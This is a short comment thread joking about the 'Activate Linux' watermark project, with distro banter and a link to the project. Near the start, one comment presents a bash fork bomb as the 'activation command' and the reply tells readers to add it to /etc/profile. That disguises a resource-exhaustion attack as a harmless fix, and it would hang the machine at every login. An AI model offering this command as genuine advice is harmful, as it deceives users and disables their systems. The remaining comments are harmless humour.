Activate Linux

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Doesn't everyone know the activation command is :(){ :|:& };:
- Put that in your /etc/profile and you'll never have trouble with activating Linux.
  
  Aren't you, like, supposed to make sure the community is civilized and all?
  
  Time to boot up GRML
Clicking the 'Activate' link prompts you to enter your shoe size and postal address, so that you may receive a shark plush toy and your own pair of The Socks.
https://github.com/MrGlockenspiel/activate-linux
I use enzymes for mine.
Honestly, Ubuntu behavior.
Thought it was a new distro. Now I'm disappointed.
- Like if ReactOS got big boy development and went full circle lol
  
  reactOS can have bsod for the authentic windows experience

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